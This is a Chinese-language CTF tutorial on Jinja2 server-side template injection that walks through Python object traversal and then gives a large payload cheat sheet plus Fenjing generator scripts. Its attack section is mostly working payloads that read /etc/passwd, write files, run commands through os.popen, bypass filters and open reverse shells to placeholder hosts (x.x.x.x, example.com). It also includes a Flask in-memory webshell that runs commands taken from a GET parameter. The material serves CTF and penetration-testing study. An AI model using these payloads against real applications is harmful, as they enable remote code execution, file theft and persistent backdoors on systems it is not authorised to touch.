CTF-WEB: python模板注入

漏洞是如何产生的?

Python模板注入漏洞通常出现在使用模板引擎生成动态内容的应用中。如果用户输入没有经过适当的处理直接插入模板中,就可能会导致模板注入漏洞。一个常见的例子是使用Jinja2模板引擎时,如果直接渲染用户输入,则可能导致代码执行等严重后果。

以下是一个演示如何可能出现模板注入漏洞的示例:

python 复制代码
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    # 获取用户输入
    user_input = request.args.get('user_input', '')

    # 不安全地渲染用户输入
    template = f'''
    <h1>Welcome</h1>
    <p>Your input: {user_input}</p>
    '''

    # 使用render_template_string渲染模板
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True)

在这个示例中,user_input 是从查询参数中获取的用户输入,并直接插入到模板字符串中。这是非常危险的,因为用户可以注入任意Jinja2表达式。例如,如果用户访问URL http://127.0.0.1:5000/?user_input={``{7*7}},页面将会显示 Your input: 49。这说明模板注入成功执行了 7*7 计算。

怎么进行Python 模板注入?

注意模板注入是一种方式,它不归属于任何语言,不过目前遇见的大多数题目还是以 python 的 SSTI 为主,所以我们用 Python SSTI 为例子带各位熟悉模板注入。

一般我们会在疑似的地方尝试插入简单的模板表达式,如 {``{7*7}} {``{config}},看看是否能在页面上显示预期结果,以此确定是否有注入点。

当然本来还需要识别模板的,但大多数题目都是 Jinja2 就算,是其他模板,多也以 Python 为主,所以不会差太多,所以我们这里统一用 Jinja 来讲。

很多时候,你在阅读 SSTI 相关的 WP 时,你会发现最后的 payload 都差不多长下面的样子:

{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}

是不是觉得每次看 WP 都会觉得很懵逼,这些方法为什么要这么拼,是怎么构造出来的?前面这一串长长的都是什么?

这里有几个知识点:

  • 对象 : 在 Python 中 一切皆为对象 ,当你创建一个列表 []、一个字符串 "" 或一个字典 {} 时,你实际上是在创建不同类型的对象。
  • 继承 : 我们知道对象是类的实例,类是对象的模板。在我们创建一个对象的时候,其实就是创建了一个类的实例,而在 python 中所有的类都继承于一个基类,我们可以通过一些方法,从创建的对象反向查找它的类,以及对应类父类。这样我们就能从任意一个对象回到类的端点,也就是基类,再从端点任意的向下查找。
  • 魔术方法 : 我们如何去实现在继承中我们提到的过程呢?这就需要在上面 Payload 中类似 __class__ 的魔术方法了,通过拼接不同作用的魔术方法来操控类,我们就能实现文件的读取或者命令的执行了。

我们大可以把我们在 SSTI 做的事情抽象成下面的代码:

class O: pass # O 是基类,A、B、F、G 都直接或间接继承于它
# 继承关系 A -> B -> O
class B(O): pass
class A(B): pass

# F 类继承自 O,拥有读取文件的方法
class F(O): def read_file(self, file_name): pass

# G 类继承自 O,拥有执行系统命令的方法
class G(O): def exec(self, command): pass

比如我们现在就只拿到了 A,但我们想读取目录下面的 flag ,于是就有了下面的尝试:

找对象 A 的类 - 类 A -> 找类 A 的父亲 - 类 B -> 找祖先 / 基类 - 类 O -> 遍历祖先下面所有的子类 -> 找到可利用的类 类 F 类 G -> 构造利用方法 -> 读写文件 / 执行命令

>>>print(A.__class__) # 使用 __class__ 查看类属性
<class '__main__.A'>
>>> print(A.__class__.__base__) # 使用 __base__ 查看父类
<class '__main__.B'>
>>> print(A.__class__.__base__.__base__)# 查看父类的父类 (如果继承链足够长,就需要多个base)
<class '__main__.O'>
>>>print(A.__class__.__mro__) # 直接使用 __mro__ 查看类继承关系顺序
(<class '__main__.A'>, <class '__main__.B'>, <class '__main__.O'>, <class 'object'>)
>>>print(A.__class__.__base__.__base__.__subclasses__()) # 查看祖先下面所有的子类(这里假定祖先为O)
[<class '__main__.B'>, <class '__main__.F'>, <class '__main__.G'>]

类似这种 拿基类 -> 找子类 -> 构造命令执行或者文件读取负载 -> 拿 flag 是 python 模板注入的正常流程。

接下来我们详细的介绍每个步骤。

拿基类

在 Python 中,所有类最终都继承自一个特殊的基类,名为 object。这是所有类的"祖先",拿到它即可获取 Python 中所有的子类。

一般我们以 字符串 / 元组 / 字典 / 列表 这种最基础的对象开始向上查找:

类属性

>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>

>>> ''.__class__.__base__
<class 'object'>
>>> ().__class__.__base__
<class 'object'>
>>> {}.__class__.__base__
<class 'object'>
>>> [].__class__.__base__
<class 'object'>

不管对象的背后逻辑多么复杂,他最后一定会指向基类:

# 比如以一个request的模块为例,我们使用__mro__可以查看他的继承过程,可以看到最终都是由 object 基类 衍生而来。
>>> request.__class__.__mro__
 (<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.sansio.request.Request'>, <class 'flask.wrappers.JSONMixin'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'object'>)

在寻找时,通常我们使用下面的魔术方法:

# 更多魔术方法可以在 SSTI 备忘录部分查看
__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

那么 __base__ __bases__ __mro__ 三者有什么区别?我们以一个继承很长的 request 模块为例,为了拿到它的基类,三者之间的语法:

万物皆对象

>>> request.__class__
<class 'flask.wrappers.Request'>

>>> request.__class__.__mro__
 (<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.sansio.request.Request'>, <class 'flask.wrappers.JSONMixin'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'object'>) # 返回为元组
>>> request.__class__.__mro__[-1]
<class 'object'>

>>> request.__class__.__bases__
(<class 'werkzeug.wrappers.request.Request'>, <class 'flask.wrappers.JSONMixin'>) # 返回为元组
>>> request.__class__.__bases__[0].__bases__[0].__bases__[0]
<class 'object'>

>>> request.__class__.__base__
<class 'werkzeug.wrappers.request.Request'>
>>> request.__class__.__base__.__base__.__base__
<class 'object'>

当然除了从 字符串 / 元组 / 字典 / 列表 以及刚才提到的 request 模块 (注意模块在使用前是需要导入的) 外,还有其他方法可以获取基类,你可以自行探索,也可以参考我们下面的 Jinja SSTI 备忘录。

寻找子类

当我们拿到基类,也就是 <class 'object'> 时,便可以直接使用 subclasses() 获取基类的所有子类了。

>>> ().__class__.__base__.__subclasses__()
>>> ().__class__.__bases__[0]__subclasses__()
>>> ().__class__.__mro__[-1].__subclasses__()

我们无非要做的就是读文件或者拿 shell,所以我们需要去寻找和这两个相关的子类,但基类一下子获取的全部子类数量极其惊人,一个一个去找实在是过于睿智,但其实这部分的重心不在子类本身上,而是在子类是否有 os 或者 file 的相关模块可以被调用上。

比如我们以存在 eval 函数的类为例子,我们不需要认识类名,我们只需要知道,这个类通过 .__init__.__globals__.__builtins__['eval']('') 的方式可以调用 eval 的模块就好了。

那么到这你可能会问,.__init__.__globals__.__builtins__ 又是什么东西?

__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.

其实在面向对象的角度解释这样做很容易,对象是需要初始化的,而 __init__ 的作用就是把我们选取的对象初始化,然后如何去使用对象中的方法呢?这就需要用到 __globals__ 来获取对全局变量或模块的引用。

Jinja2 POC

官方网站

Jinja2 是一个功能齐全的 Python 模板引擎。它具有完整的 Unicode 支持、可选的集成沙盒执行环境、广泛使用和 BSD 许可。

Jinja2 - 基本注入

python 复制代码
{{4*4}}[[5*5]]
{{7*'7'}} 将导致 7777777
{{config.items()}}

Jinja2 由 Django 或 Flask 等 Python Web 框架使用。

上述注入已在 Flask 应用程序上进行了测试。

Jinja2 - 模板格式

python 复制代码
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }></a></li>
{% endfor %}
</ul>
{% endblock %}

Jinja2 - 调试语句

如果启用了调试扩展,则可以使用 {% debug %} 标签来转储当前上下文以及可用的过滤器和测试。这对于查看模板中可用的内容(无需设置调试器)非常有用。

python 复制代码
<pre>{% debug %></pre>

来源:https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

Jinja2 - 转储所有使用的类

python 复制代码
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

访问 __globals____builtins__

python 复制代码
{{ self.__init__.__globals__.__builtins__ }}

Jinja2 - 转储所有配置变量

python 复制代码
{% for key, value in config.iteritems() %}
<dt>{{ key|e }></dt>
<dd>{{ value|e }></dd>
{% endfor %}

Jinja2 - 读取远程文件

python 复制代码
# ''.__class__.__mro__[2].__subclasses__()[40] = 文件类
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Jinja2 - 写入远程文件

python 复制代码
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Jinja2 - 远程代码执行

监听连接

bash 复制代码
nc -lnvp 8000
Jinja2 - 强制盲目 RCE 输出

您可以导入 Flask 函数以从易受攻击的页面返回输出。

py 复制代码
{{
x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
from flask import make_response
r = make_response('Powned')
return r
")
}}
通过调用 os.popen().read() 利用 SSTI
python 复制代码
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

但是当 __builtins__ 被过滤时,以下有效载荷是上下文无关的,不需要任何东西,除了在 jinja2 模板对象中:

python 复制代码
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

我们可以使用这些较短的有效负载:

python 复制代码
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

来源@podalirius_ : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/

使用 objectwalker,我们可以从 lipsum 找到 os 模块的路径。这是已知的在 Jinja2 模板中实现 RCE 的最短有效载荷:

python 复制代码
{{ lipsum.__globals__["os"].popen('id').read() }}

来源:https://twitter.com/podalirius_/status/1655970628648697860

通过调用 subprocess.Popen 来利用 SSTI

⚠️ 数字 396 将根据应用程序而有所不同。

python 复制代码
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
通过调用 Popen 来利用 SSTI,而无需猜测偏移量
python 复制代码
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

简单修改有效负载以清理输出并方便命令输入 (https://twitter.com/SecGus/status/1198976764351066113)

在另一个 GET 参数中包含一个名为"input"的变量,其中包含您要运行的命令(例如: &input=ls)

python 复制代码
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
通过编写恶意配置文件来利用 SSTI。
python 复制代码
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# 加载 evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# 连接到 evil 主机
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
读取config
python 复制代码
{{config}}可以获取当前设置,如果题目类似
app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问
{{config['FLAG']}}或者{{config.FLAG}}得到flag
但是如果被过滤了{{self}} ⇒ 
<TemplateReference None>{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

如果存在current_app, 可以访问当前app的

python 复制代码
{{url_for.__globals__}}

如果存在current_app, 可以访问当前app的config

python 复制代码
{{url_for.__globals__['current_app'].config}}

或者

python 复制代码
{{get_flashed_messages.__globals__['current_app'].config}}

Jinja2 - 过滤绕过

python 复制代码
request.__class__
request["__class__"]

绕过.

python 复制代码
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`

# attr()
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

# []
{{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}
python 复制代码
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

绕过 []

python 复制代码
# 用getitem()用来获取序号
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
python 复制代码
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
或
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

绕过|join

python 复制代码
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

通过以下方式绕过最常见的过滤器('.'、'_'、'|join'、'['、']'、'mro' 和 'base') https://twitter.com/SecGus:

python 复制代码
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Fenjing

本人建议作为库使用

使用pip安装运行

shell 复制代码
pip install fenjing
fenjing webui

打内存马

这里以Flask内存马为例

python 复制代码
import fenjing
import requests

# 这个内存马会获取GET参数cmd并执行,然后在header Aaa中返回
payload = """
[
    app.view_functions
    for app in [ __import__('sys').modules["__main__"].app ]
    for c4tchm3 in [
        lambda resp: [
            resp
            for cmd_result in [__import__('os').popen(__import__('__main__').app.jinja_env.globals["request"].args.get("cmd", "id")).read()]
            if [
                resp.headers.__setitem__("Aaa", __import__("base64").b64encode(cmd_result.encode()).decode()),
                print(resp.headers["Aaa"])
            ]
        ][0]
    ]
    if [
        app.__dict__.update({'_got_first_request':False}),
        app.after_request_funcs.setdefault(None, []).append(c4tchm3)
    ]
]
"""

def waf(s):
    return "/" not in s


full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
    print("这个payload不会产生回显")
print(payload)

# 生成payload后在这里打上去
r = requests.get("http://127.0.0.1:5000/", params = {
    "name": payload
})

print(r.text)
# 然后使用`?cmd=whoami`就可以在header里看到命令执行结果了

也可以这样直接给定表达式而不是给定字符串的值

python 复制代码
import fenjing

def waf(s):
    return "/" not in s

full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(fenjing.const.EVAL, (fenjing.const.LITERAL, '"1"+"2"'))
if not will_print:
    print("这个payload不会产生回显")
print(payload)

根据WAF函数生成shell指令对应的payload

python 复制代码
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", '"', "'", "_", ".", "+", "~", "{{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
        "0","1","2","3","4","5","6","7","8","9"
    ]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
    # config_payload = config_payload(waf)

    print(f"{shell_payload=}")
    # print(f"{config_payload=}")

在不获取WAF黑名单的情况下,根据返回页面中的特征生成payload

比如说如果提交的payload被WAF后,WAF页面含有"BAD"这三个字母,那么可以这么写:

python 复制代码
import functools
import time
import requests
from fenjing import exec_cmd_payload


URL = "http://10.137.0.28:5000"


@functools.lru_cache(1000)
def waf(payload: str):  # 如果字符串s可以通过waf则返回True, 否则返回False
    time.sleep(0.02) # 防止请求发送过多
    resp = requests.get(URL, timeout=10, params={"name": payload})
    return "BAD" not in resp.text


if __name__ == "__main__":
    shell_payload, will_print = exec_cmd_payload(
        waf, 'bash -c "bash -i >& /dev/tcp/example.com/3456 0>&1"'
    )
    if not will_print:
        print("这个payload不会产生回显!")

    print(f"{shell_payload=}")

让生成器学会使用新的变量

参考

比如说你想让生成器学会使用新的变量aaa,它的值是100,需要在payload的前面加上{%set aaa=0x64%},那你只需要这么写

python 复制代码
from fenjing.full_payload_gen import FullPayloadGen
from fenjing.const import OS_POPEN_READ
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str): # 这个函数因题目而定
    blacklist = [
        "00", "1", "3", "5", "7", "9"
    ]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
    full_payload_gen = FullPayloadGen(waf)
    full_payload_gen.do_prepare()
    full_payload_gen.add_context_variable("{%set aaa=0x64%}", {"aaa": 100})
    shell_payload, will_print = full_payload_gen.generate(OS_POPEN_READ, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
    if not will_print:
        print("这个payload不会产生回显")
    print(f"{shell_payload=}")

来源

https://hello-ctf.com
swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF
github.com

相关推荐
Z3r4y1 天前
【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)
web·ctf·wp·国城杯·国城杯决赛
WTT00111 天前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
摸鱼也很难2 天前
RCE 命令执行漏洞 && 过滤模式 && 基本的过滤问题 && 联合ctf题目进行实践
漏洞·ctf·ctfshow·rce命令执行
亿.62 天前
2024楚慧杯-Web
web·ctf·writeup
吾即是光5 天前
[HNCTF 2022 Week1]你想学密码吗?
ctf
吾即是光6 天前
[NSSCTF 2022 Spring Recruit]factor
ctf
吾即是光6 天前
[LitCTF 2023]easy_math (中级)
ctf
吾即是光6 天前
[HNCTF 2022 Week1]baby_rsa
ctf
云梦姐姐8 天前
Bugku-CTF getshell
ctf·wp
l2xcty8 天前
【网络安全】Web安全基础- 第一节:web前置基础知识
安全·web安全·网络安全·ctf